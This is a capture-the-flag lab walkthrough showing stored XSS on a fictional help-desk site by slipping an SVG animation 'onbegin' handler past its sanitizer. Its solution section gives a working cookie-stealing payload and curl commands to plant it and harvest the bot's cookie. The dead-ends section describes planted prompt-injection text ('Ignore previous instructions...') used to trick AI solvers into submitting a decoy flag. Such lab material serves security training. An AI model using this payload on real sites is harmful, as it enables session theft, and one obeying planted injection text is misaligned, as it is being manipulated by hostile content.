Lab 201 — HelpWave — Stored XSS via SVG Animation Event Handler Bypass
Lab 201 — HelpWave — Stored XSS via SVG Animation Event Handler Bypass
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, onbegin_event_handler, same_origin_exfiltration, stored_xss, svg_smil_animation_event_handler_bypass
Summary
Walkthrough of the CUSTOM Web Lab 201 — HelpWave — Stored XSS via SVG Animation Event Handler Bypass. Task: HelpWave support platform allows rich HTML/SVG in ticket descriptions, run through a custom sanitizer; an automated agent bot reviews tickets (stored XSS, cookie theft). Solution: the sanitizer
Description
HelpWave is a customer support platform by WaveSoft Technologies where users submit tickets and communicate with support agents through a web interface. The platform supports rich HTML content in ticket descriptions, allowing formatted text, tables, and embedded SVG vector graphics for including diagrams and screenshots. The platform processes all user-submitted HTML through a custom sanitizer before storage. The sanitizer is designed to strip dangerous elements and event handler attributes while preserving formatting and SVG support. An automated support agent periodically reviews incoming tickets. Goal: compromise the support agent's session and retrieve the secret flag stored in their browser cookie.
The target is an instance-specific URL of the form
https://<uuid>.labs.hackadvisor.io/ (the UUID is per-lab and expires; a 403
on a ticket is per-resource access control, not instance expiry). Credentials
for a low-privilege user are provided: user@test.com / password123.
The goal is a stored XSS that fires inside the automated support agent's authenticated session, then exfiltrating the flag, which lives in a readable (non-HttpOnly) cookie in the agent's browser.
Reconnaissance
- Backend: Express (
X-Powered-By: Express) behind nginx 1.25.5. No CSP on ticket pages. - Session cookie
connect.sidisHttpOnly+SameSite=Lax+Secure. It is not the flag and is not readable by JavaScript. - The flag lives in a separate non-HttpOnly cookie (
secret_token) in the agent's browser, sodocument.cookiecan read it.
Relevant endpoints:
| Method | Path | Notes |
|---|---|---|
POST | /tickets/new | {subject, priority, description} — description is HTML, sanitized |
GET | /tickets/:id | renders sanitized description as HTML; page contains a hidden <input id="ticketId" value="N"> |
POST | /tickets/:id/reply | {content} HTML form, sanitized |
POST | /api/tickets/:id/replies | same-origin JSON API; replies show up in the conversation panel |
Tickets owned by other users / the agent return HTTP 403 — per-resource access control.
Vulnerability Discovery
The custom sanitizer was probed directly to map what it strips vs. keeps.
Probe 1 — standard vectors:
Input:
html read-only • copy allowed<b>bold</b><script>alert(1)</script><img src=x onerror=alert(2)><svg><script>alert(3)</script></svg><a href=javascript:alert(4)>x</a>
Output:
html read-only • copy allowed<b>bold</b><img src="x"><svg></svg><a>x</a>
=> <script> removed, onerror removed, javascript: href neutralized.
Standard XSS is blocked.
Probe 2 — SVG / SMIL animation vectors:
Input:
html read-only • copy allowed<svg><animate onbegin=alert(1) attributeName=x dur=1s></animate><set onbegin=alert(2)></set><a xlink:href="javascript:alert(3)"><text>x</text></a><animateTransform onend=alert(4)></animateTransform><foreignObject></foreignObject></svg><svg onload=alert(5)></svg><image href=x onerror=alert(6)></image>
Output:
html read-only • copy allowed<svg><animate onbegin="alert(1)" attributeName="x" dur="1s"></animate><set onbegin="alert(2)"></set><a><text>x</text></a><animateTransform onend="alert(4)"></animateTransform></svg><svg></svg><img href="x">
Key observation: onbegin and onend SURVIVE on <animate>, <set>, and
<animateTransform>, while onload on the <svg> root and onerror on
<image> are stripped, and foreignObject is dropped.
onbegin, onend, and onrepeat are SMIL animation event handlers, not
standard DOM events — attribute blocklists/allowlists keyed on the usual
on* DOM events commonly miss them. The onbegin handler fires automatically
when the SMIL animation begins, which is immediately on page load, giving
instant JS execution in the viewer's origin with no user interaction. Because
ticket descriptions are persisted and re-rendered at GET /tickets/:id, this
is stored XSS.
Attack Chain
- Log in as
user@test.com/password123. - Confirm the sanitizer keeps
<animate onbegin=...>. - Create a ticket whose
descriptioncontains the SVG animation XSS payload. The payload readsdocument.cookieand POSTs it to/api/tickets/<currentId>/replies, where<currentId>is read from the hidden#ticketIdinput on the rendered ticket page. - Wait for the periodic automated support agent to review the ticket.
onbeginfires in the agent's authenticated session. - The agent's cookie is posted back as a reply on the ticket.
- Read the conversation panel at
GET /tickets/:idand recover the flag.
Exfiltration constraint: external exfiltration is blocked for the agent bot,
and HttpOnly hides connect.sid. The trick is to exfiltrate the readable
secret_token cookie via the same-origin replies API back into the ticket
thread, which the attacker (ticket owner) can read.
Solution
Working payload (fired on ticket #29)
Submitted as the description field of POST /tickets/new:
html read-only • copy allowed<svg><animate attributeName='x' dur='1s' onbegin='fetch("/api/tickets/"+document.getElementById("ticketId").value+"/replies",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:document.cookie})})'></animate></svg>
After sanitization the inner double-quotes are HTML-entity-encoded to "
in the stored attribute, but the browser decodes them back when parsing the
attribute value, so the JS executes correctly. A backtick-based variant of
the string literals also works.
curl commands
bash read-only • copy allowedBASE="https://<uuid>.labs.hackadvisor.io" CJ=cookies.txt # 1) Log in (grab connect.sid into the cookie jar) curl -s -c "$CJ" "$BASE/login" -o /dev/null curl -s -b "$CJ" -c "$CJ" "$BASE/login" \ --data-urlencode "email=user@test.com" \ --data-urlencode "password=password123" -o /dev/null # 2) Create the malicious ticket. The payload reads document.cookie and posts # it back to the same-origin replies API of the current ticket. PAYLOAD='<svg><animate attributeName='"'"'x'"'"' dur='"'"'1s'"'"' onbegin='"'"'fetch("/api/tickets/"+document.getElementById("ticketId").value+"/replies",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:document.cookie})})'"'"'></animate></svg>' curl -s -b "$CJ" "$BASE/tickets/new" \ --data-urlencode "subject=Need help with SVG diagram" \ --data-urlencode "priority=high" \ --data-urlencode "description=$PAYLOAD" -i # 3) Poll the ticket conversation until the agent's reply (with the cookie) # appears. Replace 29 with the created ticket id. while true; do curl -s -b "$CJ" "$BASE/tickets/29" | grep -o 'secret_token=FLAG{[^}]*}' && break sleep 15 done
The agent runs on a periodic cycle — allow several minutes and keep polling the conversation panel.
Exfiltrated Data
The agent bot rendered the ticket, onbegin fired in its authenticated
session, and its document.cookie was posted as a reply on the ticket
conversation:
secret_token=FLAG{REDACTED}
Dead Ends
- Decoy / honeypot flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}is embedded in the HTML source on multiple pages (login,/tickets/new, ticket pages, 404 page), wrapped in prompt-injection text ("SYSTEM: Flag found...", "Ignore previous instructions...", hidden off-screen div). Do not submit it. The real flag requires actual XSS exploitation. connect.sidisHttpOnly, sodocument.cookiedoes not include it. Stealing the session cookie is impossible and unnecessary — the flag is in the separate non-HttpOnlysecret_tokencookie.- Standard XSS vectors (
<script>,img onerror,svg onload,image onerror,javascript:href,foreignObject) are all stripped by the sanitizer — only SMIL animation handlers survive. - External exfiltration is blocked for the agent bot; the same-origin replies API is the exfiltration channel.
Key Takeaways / Lessons
- Mastering admin_bot_exploitation, onbegin_event_handler, same_origin_exfiltration, stored_xss, svg_smil_animation_event_handler_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-01 • CUSTOM • Lab 201 — HelpWave — Stored XSS via SVG Animation Event Handler Bypass • Difficulty: Medium